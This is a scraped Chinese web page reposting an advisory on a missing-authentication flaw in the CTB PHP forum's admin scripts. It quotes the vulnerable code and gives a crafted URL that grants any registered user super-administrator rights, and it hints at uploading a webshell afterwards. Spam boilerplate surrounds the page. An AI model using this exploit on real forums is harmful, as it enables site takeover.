<form id="hz9zz"></form>
  • <form id="hz9zz"></form>

      <nobr id="hz9zz"></nobr>

      <form id="hz9zz"></form>

    1. 明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

      漂亮但不安全的CTB

      [摘要]>>>Dedicated This Scrap To CaoJing<<< 涉及版本: ^^^^^^^ 目前所有版本(現在1.3Alpha為最高版本) 描述: ^^^^^^ CTB是一款由實易數碼<11cn.org>;開發和維護的源代碼開放的PHP論...

      >>>Dedicated This Scrap To CaoJing<<< 

      涉及版本: 
      ^^^^^^^ 
      目前所有版本(現在1.3Alpha為最高版本) 

      描述: 
      ^^^^^^ 
      CTB是一款由實易數碼<11cn.org>;開發和維護的源代碼開放的PHP論壇。由于其后臺管理文件驗證存在缺陷,可能導致非法用戶直接添加論壇超級管理員,進而威脅論壇或服務器安全。 

      具體: 
      ^^^^ 
      CTB書寫非常規范,代碼井然有序,賞心悅目,的確是優美的程序;特別是其功能模塊,著實讓小弟學習了一把。但安全方面卻令人堪憂: 

      試看如下代碼: 

      /admin/main.php 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
       //獲取get變量 
         if( is_array($_GET) ) { 
            foreach($_GET as $k=>$v) { 
                 if( is_array( $_GET[$k]) ) { 
                     foreach($_GET[$k] as $k2=>$v2) { 
                         $return[$k][$k2] = $v2; 
                     } 
                 } else { 
                     $return[$k] = $v; 
                 } 
             } 

      ... 
      $mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
         if (!file_exists($mod.".php" { 
             $mod = "mainright"; 
         } 
         require_once ($mod.".php"; 
         //----------------------------------------------------------------------------- 

         //初始化類變量 
         $ctb = new Module; 
         $ctb->set = $set; 
         $ctb->tplPath = "./templates"; 
         $ctb->input = $return; 
         $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
         $ctb->execute(); 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      這里沒有任何驗證,我們看看添加管理員的文件: 

      /admin/systemuser.php 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
      class Module extends CommonClass 
      //系統管理模塊子類 

         function execute() { 
             switch($this->input['action']) { 
      ... 
      case 'addSystemUser': 
                     $this->addSystemUser(); 
                     break; 
      ... 
          }       
         } 

      function addSystemUser() 

         //輸入數據簡單格式化 
         $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
         //執行添加操作 
              $this->file = "../".$this->set[dataPath]."/users/list.php"; 
         $systemLine = $this->select(4, $this->input['systemUserName']); 
      .... 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      依然沒有驗證,一路順利! 

      利用方法: 
      ^^^^^^^ 
      先注冊一個用戶: 

      登陸ID:  cat 
      用戶名 :   dog 
      密碼:      ilikecat 
      重復密碼:  ilikecat 
      信箱:      cat@dog.com 

      接著提交如下URL: 

      http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

      哈哈,你現在已經是超級管理員了,不相信?提交如下URL后臺登陸: 

      http://www.psych.com/ctb/admin/main.php?mod=login 

      管理名稱:  cat 
      管理密碼:  ilikecat 

      咦...還真成功了! 

      你現在是不是想更改后臺上傳文件類型,然后upload webshell?哼,被我猜到了吧... 

      后記:另外發現CTB代碼注釋有些扎眼的錯別字,大煞風景,希望可以一起修正。


      日韩精品一区二区三区高清